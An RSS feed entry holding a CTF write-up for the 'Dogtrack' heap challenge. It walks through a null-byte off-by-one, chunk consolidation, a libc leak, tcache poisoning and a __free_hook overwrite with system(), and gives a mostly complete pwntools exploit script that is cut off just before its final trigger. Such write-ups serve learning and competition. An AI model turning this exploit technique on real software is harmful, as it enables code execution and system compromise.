<?xml version="1.0" encoding="UTF-8"?><rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/"><channel><title>hexabismuth</title><description>:)</description><link>https://0xbismuth.com/</link><language>en</language><item><title>BKCTF-2026&gt; Dogtrack</title><link>https://0xbismuth.com/posts/bkctf-2026-dogtrack/writeup/</link><guid isPermaLink="true">https://0xbismuth.com/posts/bkctf-2026-dogtrack/writeup/</guid><description>Dogtrack is an Off-By-One Heap chal from Batman&apos;s Kitchen CTF 2026</description><pubDate>Mon, 23 Feb 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;Intro&lt;/h1&gt;
&lt;p&gt;Dogtrack is a dog racing themed pwn challenge from &lt;a href=&quot;https://ctf.batmans.kitchen&quot;&gt;Batman&apos;s Kitchen CTF 2026&lt;/a&gt;.
We can exploit a Null-Byte Off-By-One in the heap chained with a write primitive to achieve code execution.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;    Arch:       amd64-64-little
    RELRO:      Full RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        PIE enabled

    Libc:       2.27
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;TLDR:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Old Libc: No tcache hardenings and &lt;code&gt;__free_hook&lt;/code&gt; still works&lt;/li&gt;
&lt;li&gt;Off-By-One to clear &lt;code&gt;PREV_INUSE&lt;/code&gt; and backwards consolidate&lt;/li&gt;
&lt;li&gt;Hidden function (not shown in the menu) allows you to swap values on 2 chunks&lt;/li&gt;
&lt;li&gt;Use the overlaping chunks and the swap -&amp;gt; Tcache Poison and overwrite &lt;code&gt;__free_hook&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h1&gt;Code Review&lt;/h1&gt;
&lt;p&gt;By analysing the challenge with Binary Ninja, we can identify that 2 types of chunks are tracked internally in separate arrays:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Dog: 3 chunks size 0x30&lt;/li&gt;
&lt;li&gt;Record: 15 chunks size 0x100&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;arrays.png&quot; alt=&quot;Dogs and Records Arrays&quot; /&gt;&lt;/p&gt;
&lt;p&gt;The functions (as-per the UI) are:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;New Dog with name (32 bytes) and speed (8 bytes)&lt;/li&gt;
&lt;li&gt;Free Dog&lt;/li&gt;
&lt;li&gt;Run Race: Creates new Record, with the first qwords being the dog&apos;s name that ran the race&lt;/li&gt;
&lt;li&gt;Free Record&lt;/li&gt;
&lt;li&gt;Read Record&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Analysing the free functions, we can see that the pointers are NULLed and checked before use, so no easy UAFs:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;free_dogs.png&quot; alt=&quot;Dog pointer set to NULL&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;free_records.png&quot; alt=&quot;Record pointer set to NULL&quot; /&gt;&lt;/p&gt;
&lt;p&gt;The race (record malloc) function has some complexity related to simulating the random races, but the relevant part is the following:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;A dog&apos;s name is copied to the beginning of the chunk&lt;/li&gt;
&lt;li&gt;Chunks are created with malloc, which unlike calloc does not zero the memory. Therefore, creating a record for a dog with no name may allow us read data left from a previously allocated chunk, leaking libc/heap pointers.&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;/* not the actual decompiled code: I removed some of the type casting for readability */

if (option == 2)
{
  puts(&quot;Which dog do you want to race?&quot;);
  printf(&quot;Kennel Index &amp;gt; &quot;);
  
  if (scanf_consume_newline(&quot;%d&quot;, &amp;amp;kennel_idx) == 1 &amp;amp;&amp;amp; kennel_idx &amp;gt;= 0 &amp;amp;&amp;amp; kennel_idx &amp;lt;= 2)
  {
      if (*((kennel_idx &amp;lt;&amp;lt; 3) + &amp;amp;dogs)) // Check if pointer is NULL
      {
          int64_t* dog = *((kennel_idx &amp;lt;&amp;lt; 3) + &amp;amp;dogs); // points to dog chunk
          char* record = malloc(0xf0); // Does not null memory
          
          for (int32_t j = 0; j &amp;lt;= 0x1f; j += 1)
          {
              if (!*(uint8_t*)((char*)dog + (int64_t)j + 8))
                  break;
     
              // Copy dog&apos;s name
              record[(int64_t)j] = *(uint8_t*)((char*)dog + (int64_t)j + 8); 
          }
          
          *(record + 0x20) = time(nullptr);
          *(record + 0x28) = 0;
          
          for (int32_t j_1 = 0; j_1 &amp;lt;= 7; j_1 += 1)
          {
              printf(&quot;\n%s now entering Race %d: %s!\n&quot;, &amp;amp;dog[1], j_1 + 1, &amp;amp;races[j_1 * 0x18]);
              puts(&quot;3... 2... 1... Go!&quot;);

              &amp;lt;snip&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Hidden swap records function&lt;/h2&gt;
&lt;p&gt;On the UI, only the aforementioned functions are shown:
&lt;img src=&quot;recordsmenu.png&quot; alt=&quot;Records Menu&quot; /&gt;&lt;/p&gt;
&lt;p&gt;However, checking the Records related functions in the decompiler, there is a hidden 4th option:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;else if (option == 4)
{
  puts(&quot;CAUTION! FORGING RECORDS IS ILLEGAL&quot;);
  puts(&quot;Select a record&quot;);
  printf(&quot;Record index &amp;gt; &quot;);
  
  if (scanf_consume_newline(&quot;%d&quot;, &amp;amp;record_idx_1) == 1 &amp;amp;&amp;amp; record_idx_1 &amp;gt;= 0 &amp;amp;&amp;amp; record_idx_1 &amp;lt;= 0xf) 
  {
      if (*(uint64_t*)(((int64_t)record_idx_1 &amp;lt;&amp;lt; 3) + &amp;amp;winRecords))
      {
          char* record_1 = *(uint64_t*)(((int64_t)record_idx_1 &amp;lt;&amp;lt; 3) + &amp;amp;winRecords);
          puts(&quot;Select a record to swap with&quot;);
          printf(&quot;Record Index &amp;gt; &quot;);
          
          if (scanf_consume_newline(&quot;%d&quot;, &amp;amp;record_idx_2) == 1 &amp;amp;&amp;amp; record_idx_2 &amp;gt;= 0 &amp;amp;&amp;amp; record_idx_2 &amp;lt;= 0xf)
          {
              if (*(uint64_t*)(((int64_t)record_idx_2 &amp;lt;&amp;lt; 3) + &amp;amp;winRecords))
              {
                  char* record_2 = *(uint64_t*)(((int64_t)record_idx_2 &amp;lt;&amp;lt; 3) + &amp;amp;winRecords);
                  int64_t temp;
                  __builtin_memset(&amp;amp;temp, 0, 0x20);
                  int64_t val_1 = *(uint64_t*)(record_1 + 0x20);
                  *(uint64_t*)(record_1 + 0x20) = *(uint64_t*)(record_2 + 0x20);
                  *(uint64_t*)(record_2 + 0x20) = val_1;
                  strcpy(&amp;amp;temp, record_1);
                  strcpy(record_1, record_2);
                  strcpy(record_2, &amp;amp;temp);
                  printf(&quot;Record %d and %d have been swapped!\n&quot;, (uint64_t)record_idx_1, (uint64_t)record_idx_2);
                  continue;
              }
              else
              {
                  printf(&quot;Record %d doesn&apos;t exist!\n&quot;, (uint64_t)record_idx_2);
                  continue;
              }
        &amp;lt;snip&amp;gt;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The function allows us to swap up to 4 qwords (the dog&apos;s name) between chunks. This will be used for a Tcache Poison later!&lt;/p&gt;
&lt;h2&gt;Off-By-Null on Dog Creation&lt;/h2&gt;
&lt;p&gt;The dog creation function allows us so set a name (32 bytes) and speed (8 bytes):&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;new_dog_menu.png&quot; alt=&quot;Dog chunk menu&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Then, it attempts to null terminate the name buffer, however, a name of length 32 causes it to off-by-one and set to NULL the next chunk&apos;s &lt;code&gt;SIZE&lt;/code&gt; field.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;new_dog.png&quot; alt=&quot;Dog chunk creation&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Multiple techniques exist to exploit this scenario depending on the libc version, including things like &lt;a href=&quot;https://repository.root-me.org/Exploitation%20-%20Syst%C3%A8me/Unix/EN%20-%20Glibc_Adventures-The_Forgotten_Chunks.pdf&quot;&gt;shrinking chunks&lt;/a&gt; and &lt;a href=&quot;https://projectzero.google/2014/08/the-poisoned-nul-byte-2014-edition.html&quot;&gt;The poisoned NUL byte&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Given we can only easily allocate 0x30 and 0x100 chunks, our best bet is clearing the &lt;code&gt;PREV_INUSE&lt;/code&gt; bit on the &lt;code&gt;SIZE&lt;/code&gt; field of a 0x100 chunk, i.e. turning 0x101 to 0x100!&lt;/p&gt;
&lt;h1&gt;Null-Byte Off-By-One Backwards Consolidation&lt;/h1&gt;
&lt;h2&gt;Background Information&lt;/h2&gt;
&lt;p&gt;Normally, when a chunk is free&apos;d to the unsortedbins, the heap attempts to consolidate with adjacent chunks to reduce fragmentation.
We can use that to our advantage given our ability to clear the &lt;code&gt;PREV_INUSE&lt;/code&gt; flag, we can trick the heap into believing the previous chunk is free and consolidate with it.&lt;/p&gt;
&lt;p&gt;For our attack, the relevant fields are:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;The &lt;code&gt;SIZE&lt;/code&gt; field, more specifically the &lt;code&gt;PREV_INUSE&lt;/code&gt; flag on the LSB of &lt;code&gt;SIZE&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;PREV_SIZE&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;chunk_metadata.png&quot; alt=&quot;Chunk metadata Diagram&quot; /&gt;&lt;/p&gt;
&lt;p&gt;From &lt;a href=&quot;https://sourceware.org/glibc/wiki/MallocInternals&quot;&gt;MallocInternals Wiki&lt;/a&gt;:
:::note
Since all chunks are multiples of 8 bytes, the 3 LSBs of the chunk size can be used for flags. These three flags are defined as follows:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;A (0x04)&lt;/strong&gt; Allocated Arena - the main arena uses the application&apos;s heap. Other arenas use mmap&apos;d heaps. If this bit is 0, the chunk comes from the main arena and the main heap.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;M (0x02)&lt;/strong&gt; MMap&apos;d chunk - this chunk was allocated with a single call to mmap and is not part of a heap at all.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;P (0x01)&lt;/strong&gt; Previous chunk is in use - if set, the previous chunk is still being used by the application, and thus the &lt;code&gt;prev_size&lt;/code&gt; field is invalid.
:::&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;The attack&lt;/h2&gt;
&lt;p&gt;Given that the challenge is running an older version of libc, fewer checks are in place,
so we only need to make sure that:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;prev_size&lt;/code&gt; adds up to a valid chunk header (else it might SIGSEV)&lt;/li&gt;
&lt;li&gt;Said chunk is free (will trigger &lt;code&gt;corrupted size vs. prev_size&lt;/code&gt; if it isn&apos;t a valid free chunk)&lt;/li&gt;
&lt;li&gt;The chunk has valid FD and BK pointers (Safe Unlink Check), as it will be unlinked from its original bin to be consolidated
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;P&lt;/code&gt;-&amp;gt;&lt;code&gt;fd&lt;/code&gt;-&amp;gt;&lt;code&gt;bk&lt;/code&gt; == &lt;code&gt;P&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;P&lt;/code&gt;-&amp;gt;&lt;code&gt;bk&lt;/code&gt;-&amp;gt;&lt;code&gt;fd&lt;/code&gt; == &lt;code&gt;P&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;For the exploit we can setup the following heap layout:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt; _______________
|       | 0x101 | &amp;lt;- Target free chunk to be merged
|   Record[0]   | 
|   FD  |   BK  | 
|      ...      |
|_______________|
|       | 0x101 | &amp;lt;- Extra space
|   Record[1]   | 
|      ...      | 
|      ...      |
|_______________|
|       |  0x31 | &amp;lt;- This will Off-By-One and clear the PREV_INUSE of Record[2]
|   Dog[0/1]    |    
|      ...      |
|_______________|
| 0x230 | 0x101 | &amp;lt;- PREV_SIZE: 0x230 = 0x100 + 0x100 + 0x30
|   Record[2]   |    SIZE will be changed from 0x101 to 0x100
|      ...      | 
|      ...      |
|_______________|
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Given that we can&apos;t &lt;code&gt;edit()&lt;/code&gt; a Dog chunk (we only write during initial allocation), we first need to setup our heap layout layout, free the dog chunk, so it can be allocated later on for the attack.&lt;/p&gt;
&lt;p&gt;Another requirements is that Record[0] and Record[2] need to be freed to the unsortedbins,
so we will need to fill-up the tcache before freeing them. This can be done with a simple for-loop.&lt;/p&gt;
&lt;p&gt;Putting it all together, our exploit becomes:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;warn(&quot;Setting up heap layout for backwards consolidation&quot;)
info(&quot;Creating Dog without a name so it does not overwrite our leaks later&quot;)
new_dog(0, b&quot;&quot;, b&quot;&quot;)

info(&quot;Creating Record that will be merged&quot;)
new_record(0) 

info(&quot;Creating middle Record[1] so we have more space after consolidation&quot;) 
new_record(0) 

info(&quot;Creating overflow Dog[0], will be used for Off-By-Null later on&quot;)
new_dog(1, b&quot;BBBB&quot;, b&quot;BBBB&quot;)

info(&quot;Creating Record[2] that will have its prev_in_use bit cleared&quot;)
new_record(1)

info(&quot;Freeing overflow chunk so it can be used later&quot;)
free_dog(1)


warn(&quot;Filling Tcache 0x100&quot;)
info(&quot;Creating 7 Records&quot;)
for i in range(3,10):
    new_record(0)
    
info(&quot;Freeing 7 records&quot;)
for i in range(3,10): # Record[3] to Record[9]
    free_record(i)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;heap_layout_1.png&quot; alt=&quot;Heap Layout Step 1&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Now we just need to free Record[0] and trigger the Off-By-One&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;warn(&quot;Performing backwards consolidation&quot;)
info(&quot;Freeing Record[0] that will be merged (unsorted bin)&quot;)
free_record(0)

info(&quot;Triggering Dog[2] off-by-null, with a prev_size of 0x230&quot;)
new_dog(2, b&quot;A&quot;*0x18+p64(0x230), b&quot;B&quot;*0x8) 

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;heap_layout_2.png&quot; alt=&quot;Heap Layout Step 2&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Finally we free Record[2] to trigger the consolidation&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;info(&quot;prev_in_use has been cleared! Consolidating chunks&quot;)
free_record(2)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;heap_layout_3.png&quot; alt=&quot;Heap Layout Step 3&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Now we have a free chunk with active chunks (Record[1] and Dog[2]) overlapping it!&lt;/p&gt;
&lt;p&gt;From now on, multiple exploitation strategies are possible...&lt;/p&gt;
&lt;p&gt;Given that we are on an older libc with &lt;code&gt;__free_hook&lt;/code&gt; and less Tcache protection, I figured allocatting a Record overlaping Dog[2] and using the hidden &lt;code&gt;swap_records()&lt;/code&gt; function would be a fun way to poison Tcache!&lt;/p&gt;
&lt;p&gt;To do that Record[1] will be used to leak a libc pointer, and Dog[2] will be used as part of the tcache poisoning.&lt;/p&gt;
&lt;p&gt;But before that, we need to get some Leaks!&lt;/p&gt;
&lt;h1&gt;Leaking Libc&lt;/h1&gt;
&lt;p&gt;As noted earlier, creating records does not zero the memory, so we may read stored metadata from previous allocations. We just need to do our record creation with a dog that has no name, to avoid overwriting said metadata!&lt;/p&gt;
&lt;p&gt;For a Heap Leak (which isn&apos;t actually used in this specific exploit), we can just read from Record[1].&lt;/p&gt;
&lt;p&gt;:::tip
A note on &lt;code&gt;read_record()&lt;/code&gt;:
The function calls &lt;code&gt;ctime()&lt;/code&gt; to parse the stored record time, which calls a bunch of mallocs for timezone metadata:
&lt;img src=&quot;ctime1.png&quot; alt=&quot;Ctime Malloc&quot; /&gt;
However, this only happens once. So a good spot to place a dummy call to &lt;code&gt;read_record()&lt;/code&gt; would be after the 7 mallocs to fill the tcache, so it is very far away and doesn&apos;t mess up our heap layout by allocating from our consolidated chunk:
&lt;img src=&quot;ctime2.png&quot; alt=&quot;Messed up heap layout&quot; /&gt;
:::&lt;/p&gt;
&lt;p&gt;For the Libc Leak, we should first exhaust the Tcache so we can allocate from our consolidated chunk, then, it is just a matter of allocating 2 Records and reading from Record[8]:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;leak_libc_menu.png&quot; alt=&quot;Leak Libc&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;Tcache Poison&lt;/h1&gt;
&lt;p&gt;Those last 2 allocations are also very convenient, as the next allocation will point to the
same address as the still active Dog[2], changing its &lt;code&gt;SIZE&lt;/code&gt; from 0x30 to 0x100 as part of
the remaindering of our consolidated chunk.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;dog2_pointer.png&quot; alt=&quot;Dog 2 Pointer&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;dog2_size.png&quot; alt=&quot;Dog 2 Chunk Size&quot; /&gt;&lt;/p&gt;
&lt;p&gt;This will enable us to poison the tcache, as we can free the Dog[2] to Tcache 0x100 and still have a valid Record pointer to it!&lt;/p&gt;
&lt;p&gt;With a valid Record pointer to a free chunk, we can use &lt;code&gt;swap_records()&lt;/code&gt; to overwrite the FD and point it to the &lt;code&gt;__free_hook&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;:::note
&lt;a href=&quot;https://man7.org/linux/man-pages/man3/malloc_hook.3.html&quot;&gt;Malloc Hooks&lt;/a&gt; allowed developers to intercept/modify the behaviour of memory allocation/deallocation by passing the call to a different function when &lt;code&gt;malloc()&lt;/code&gt;/&lt;code&gt;free()&lt;/code&gt; gets called.&lt;/p&gt;
&lt;p&gt;Due to their security risks and not being thread-safe, they were deprecated on glibc 2.32 and removed on glibc 2.34: &lt;a href=&quot;https://developers.redhat.com/articles/2021/08/25/securing-malloc-glibc-why-malloc-hooks-had-go&quot;&gt;Securing malloc in glibc: Why malloc hooks had to go&lt;/a&gt;
:::&lt;/p&gt;
&lt;p&gt;So the exploit goes as follows:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Allocate Record[10] overlapping with Dog[2]&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;img src=&quot;overlap_record.png&quot; alt=&quot;Record Pointer Overlap&quot; /&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Setup Record[11] pointing to the &lt;code&gt;__free_hook&lt;/code&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;warn(&quot;Preparing __free_hook overwrite&quot;)
info(&quot;Allocating Dog[1] with a __free_hook pointer&quot;)
new_dog(1,p64(libc.symbols.__free_hook),b&quot;&quot;)
info(&quot;Allocating Dog[0] with a pointer to system&quot;)
free_dog(0)
new_dog(0,p64(libc.symbols.system),b&quot;&quot;)
info(&quot;Creating Record[11] from Dog[1], it now holds a pointer to the __free_hook&quot;)
new_record(1)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;free_hook_pointer.png&quot; alt=&quot;Record pointing to the free hook&quot; /&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Free Dog[2] to send Record[10] to the tcache&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;img src=&quot;free_tcache.png&quot; alt=&quot;Record 10 on Tcache&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Now Record[10] is both free on the tcache, and valid as a Record pointer. Therefore we can Use-After-Free and write to it, corrupting the FD.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Use &lt;code&gt;swap_records(Record[10],Record[11])&lt;/code&gt; to change Record[10]&apos;s FD to point to &lt;code&gt;__free_hook&lt;/code&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Before the swap:
&lt;img src=&quot;tcache_before.png&quot; alt=&quot;Tcache Pointing to a normal chunk&quot; /&gt;&lt;/p&gt;
&lt;p&gt;After the swap:
&lt;img src=&quot;tcache_after.png&quot; alt=&quot;Tcache pointing to hook&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Now, subsequent Record allocations from the tcache will allow us to overwrite &lt;code&gt;__free_hook&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;By preparing a Dog named &lt;code&gt;system&lt;/code&gt;&apos;s address, and creating said Record over the &lt;code&gt;__free_hook&lt;/code&gt;, we overwrite-it to point to &lt;code&gt;system()&lt;/code&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Overwrite &lt;code&gt;__free_hook&lt;/code&gt; with &lt;code&gt;system()&lt;/code&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;info(&quot;Using secret function to swap Record[10]&apos;s FD and Record[11] (__free_hook_pointer)&quot;)
swap_records(10,11)
info(&quot;Allocating dummy Record, the next unsortedbin allocation will overlap __free_hook&quot;)
new_record(0)

#...

warn(&quot;Overwriting the __free_hook with system&quot;)
new_record(0) # now free hook points to system

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;system_hook.png&quot; alt=&quot;hook overwritten with system&quot; /&gt;&lt;/p&gt;
&lt;p&gt;With the &lt;code&gt;__free_hook&lt;/code&gt; overwritten, we can just setup a Record with &lt;code&gt;/bin/sh\0&lt;/code&gt; (by naming a Dog &lt;code&gt;/bin/sh\0&lt;/code&gt; and creating a Record from it) and calling &lt;code&gt;free()&lt;/code&gt; on it, which will trigger &lt;code&gt;system(/bin/sh)&lt;/code&gt; and give us a shell :D&lt;/p&gt;
&lt;h1&gt;Final Exploit&lt;/h1&gt;
&lt;p&gt;&lt;img src=&quot;exploit.gif&quot; alt=&quot;Exploit animation&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/env python3

from pwn import *

exe = ELF(&quot;dogtrack&quot;)
libc = ELF(&quot;libc.so.6&quot;)
ld = ELF(&quot;ld-linux-x86-64.so.2&quot;)

context.gdb_binary = &apos;/usr/local/bin/pwndbg&apos;

def conn(argv=[], *a, **kw):
    if args.REMOTE:
        io = remote(&apos;dogtrack-instanceID.instancer.batmans.kitchen&apos;, 1337, ssl=True)
    else:
        if args.GDB:
            io = gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw)
        else:
            io = process([exe.path] + argv, *a, **kw)
    return io

gdbscript = &apos;&apos;&apos;
tbreak main
continue
&apos;&apos;&apos;.format(**locals())

#===========================================================
#                           UTILS
#===========================================================

numRecords = 0

def int2byte(x):
    return str(x).encode(&apos;ascii&apos;)

def new_dog(kennel_index, name, speed):
    debug(f&quot;&quot;&quot;New dog: {kennel_index}
    - malloc(0x28) 
    - name: {name} 
    - speed: {speed}&quot;&quot;&quot;)
    io.sendlineafter(b&apos;4) Quit\n&amp;gt; &apos;, b&apos;1&apos;)
    io.sendlineafter(b&apos;3) Leave\n&amp;gt; &apos;, b&apos;1&apos;)
    io.sendlineafter(b&apos;Kennel Index &amp;gt; &apos;, int2byte(kennel_index))
    io.sendlineafter(b&apos;(Max 32 characters) &amp;gt; &apos;, name)
    io.sendlineafter(b&apos;(Max 8 characters) &amp;gt; &apos;, speed)
    io.sendlineafter(b&apos;3) Leave\n&amp;gt; &apos;, b&apos;3&apos;)

def free_dog(kennel_index):
    debug(f&quot;free dog: {kennel_index}&quot;)
    io.sendlineafter(b&apos;4) Quit\n&amp;gt; &apos;, b&apos;1&apos;)
    io.sendlineafter(b&apos;3) Leave\n&amp;gt; &apos;, b&apos;2&apos;)
    io.sendlineafter(b&apos;Kennel Index &amp;gt; &apos;, int2byte(kennel_index))
    io.sendlineafter(b&apos;3) Leave\n&amp;gt; &apos;, b&apos;3&apos;)
    
def new_record(kennel_index):
    global numRecords
    debug(f&quot;&quot;&quot;new record {numRecords}
    - malloc(0xf0)
    - kennel_index: {kennel_index}
    &quot;&quot;&quot;)
    io.sendlineafter(b&apos;4) Quit\n&amp;gt; &apos;, b&apos;2&apos;)
    io.sendlineafter(b&apos;Kennel Index &amp;gt; &apos;, int2byte(kennel_index))
    numRecords += 1
    return numRecords - 1

def read_record(record_index):
    debug(f&quot;Reading record {record_index}&quot;)
    io.sendlineafter(b&apos;4) Quit\n&amp;gt; &apos;, b&apos;3&apos;)
    io.sendlineafter(b&apos;3) Leave\n&amp;gt; &apos;, b&apos;1&apos;)
    io.sendlineafter(b&apos;Record index &amp;gt; &apos;, int2byte(record_index))
    out = io.recvuntil(b&quot;Welcome to the Hall of Fame!&quot;)
    io.sendlineafter(b&apos;3) Leave\n&amp;gt; &apos;, b&apos;3&apos;)
    return out.replace(b&apos;\nWelcome to the Hall of Fame!&apos;, b&apos;&apos;)

def free_record(record_index):
    global numRecords
    debug(f&quot;free record {record_index}&quot;)
    io.sendlineafter(b&apos;4) Quit\n&amp;gt; &apos;, b&apos;3&apos;)
    io.sendlineafter(b&apos;3) Leave\n&amp;gt; &apos;, b&apos;2&apos;)
    io.sendlineafter(b&apos;Record index &amp;gt; &apos;, int2byte(record_index))
    io.sendlineafter(b&apos;3) Leave\n&amp;gt; &apos;, b&apos;3&apos;)

def trigger_free_hook(record_index):
    debug(f&quot;Triggering free hook enjoy the shell&quot;)
    io.sendlineafter(b&apos;4) Quit\n&amp;gt; &apos;, b&apos;3&apos;)
    io.sendlineafter(b&apos;3) Leave\n&amp;gt; &apos;, b&apos;2&apos;)
    success(&quot;Enjoy your shell :)&quot;)
    io.sendlineafter(b&apos;Record index &amp;gt; &apos;, int2byte(record_index))

def swap_records(record_index_1, record_index_2):
    debug(f&quot;Swapping records {record_index_1} and {record_index_2}&quot;)
    io.sendlineafter(b&apos;4) Quit\n&amp;gt; &apos;, b&apos;3&apos;)
    io.sendlineafter(b&apos;3) Leave\n&amp;gt; &apos;, b&apos;4&apos;)
    io.sendlineafter(b&apos;Record index &amp;gt; &apos;, int2byte(record_index_1))
    io.sendlineafter(b&apos;Record Index &amp;gt; &apos;, int2byte(record_index_2))
    io.sendlineafter(b&apos;3) Leave\n&amp;gt; &apos;, b&apos;3&apos;)

#===========================================================
#                          EXPLOIT
#===========================================================


io = conn()

warn(&quot;Setting up heap layout for backwards consolidation&quot;)
info(&quot;Creating Dog without a name so it does not overwrite our leaks later&quot;)
new_dog(0, b&quot;&quot;, b&quot;&quot;)
info(&quot;Creating Record that will be merged&quot;)
new_record(0) 
info(&quot;Creating middle Record so we have more space after consolidation&quot;) 
new_record(0) 
info(&quot;Creating overflow Dog, will be used for Off-By-Null later on&quot;)
new_dog(1, b&quot;BBBB&quot;, b&quot;BBBB&quot;)
info(&quot;Creating Record that will have its prev_in_use bit cleared&quot;)
new_record(1)
info(&quot;Freeing overflow chunk so it can be used later&quot;)
free_dog(1)

warn(&quot;Filling Tcache 0x100&quot;)
info(&quot;Creating 7 Records&quot;)
for i in range(3,10):
    new_record(0)

debug(&quot;Calling read to create the ctime metadata now, so it avoids breaking the exploit later&quot;)
read_record(9) 

info(&quot;Freeing 7 records&quot;)
for i in range(3,10):
    free_record(i)

warn(&quot;Performing backwards consolidation&quot;)
info(&quot;Freeing Record that will be merged (unsorted bin)&quot;)
free_record(0)
info(&quot;Triggering Dog[2] off-by-null, with a prev_size of 0x230&quot;)
new_dog(2, b&quot;A&quot;*0x18+p64(0x230), b&quot;B&quot;*0x8) 
info(&quot;prev_in_use has been cleared! Consolidating chunks&quot;)
free_record(2)

warn(&quot;Emptying Tcache, further allocation from unsortedbins may overlap previous chunks&quot;)
for i in range(0,7):
    new_record(0)

warn(&quot;Leaking Libc and Heap&quot;)
new_record(0)
new_record(0)
leak_libc = u64(read_record(8).split(b&apos;\n&apos;)[0][5:].ljust(8, b&apos;\x00&apos;))
leak_heap = u64(read_record(1).split(b&apos;\n&apos;)[0][5:].ljust(8, b&apos;\x00&apos;)) &amp;lt;&amp;lt; 12
libc.address = leak_libc - (libc.symbols.main_arena + 896)
info(f&quot;Heap Base: {leak_heap:#x}&quot;)
info(f&quot;Leak Libc: {leak_libc:#x}&quot;)
assert libc.address &amp;amp; 0xFFF == 0, &quot;Invalid Libc Address&quot;
success(f&quot;Libc Address: {libc.address:#x}&quot;)

warn(&quot;Creating overlap between Record[10] and Dog[2]&quot;)
info(&quot;Allocating chunk that will overlap Dog[2]&quot;)
new_record(0) # record 10 overlaps dog 2

warn(&quot;Preparing __free_hook overwrite&quot;)
info(&quot;Allocating Dog[1] with a __free_hook pointer&quot;)
new_dog(1,p64(libc.symbols.__free_hook),b&quot;&quot;)
info(&quot;Allocating Dog[0] with a pointer to system&quot;)
free_dog(0)
new_dog(0,p64(libc.symbols.system),b&quot;&quot;)
info(&quot;Creating Record[11] from Dog[1], it now holds a pointer to the __free_hook&quot;)
new_record(1)

warn(&quot;Poisoning tcache 0x100&quot;)
info(&quot;Freeing a random record to increase the tcache count&quot;)
free_record(2)
info(&quot;Freeing Dog[2]&quot;)
free_dog(2)
info(&quot;Using secret function to swap Record[10]&apos;s FD and Record[11] (__free_hook_pointer)&quot;)
swap_records(10,11)
info(&quot;Allocating dummy Record, the next unsortedbin allocation will overlap __free_hook&quot;)
new_record(0)

info(&quot;Setting up Dog[1] named /bin/sh&quot;)
free_dog(1)
new_dog(1,b&quot;/bin/sh\0&quot;,b&quot;&quot;)

warn(&quot;Overwriting the __free_hook with system&quot;)
